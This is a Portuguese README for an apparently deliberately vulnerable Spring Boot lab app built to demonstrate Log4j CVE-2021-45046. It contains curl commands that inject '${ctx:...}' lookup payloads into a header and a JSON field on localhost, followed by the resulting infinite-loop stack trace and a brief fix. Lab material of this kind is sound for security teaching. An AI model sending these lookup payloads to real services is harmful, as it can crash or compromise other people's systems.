
Aplicação web Spring Boot de exemplo vulnerável ao Log4j2 CVE-2021-45046, demonstrando injeção JNDI e exploração de loop infinito para testes educacionais de segurança.
Esta aplicação é baseada em uma aplicação web Spring Boot vulnerável ao CVE-2021-45046
Ela utiliza Log4j 2.14.1 (através do spring-boot-starter-log4j2 2.6.1).

Execute:
Importe o projeto em uma IDE Java como um projeto Maven
Execute CVEMainApplication.java como uma aplicação Spring Boot.
Para GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${ctx:apiVersion}'
Para requisição POST ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
"clientRef": "${ctx:clientRef}"
}'
${ctx:clientRef}2021-12-15 19:27:50,212 http-nio-8080-exec-1 ERROR Ocorreu uma exceção ao processar o Appender LogToConsole java.lang.IllegalStateException: Loop infinito na interpolação de propriedade de ${ctx:clientRef}: ctx:clientRef
at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
remover suporte para padrões de busca de mensagens e desabilitar a funcionalidade JNDI por padrão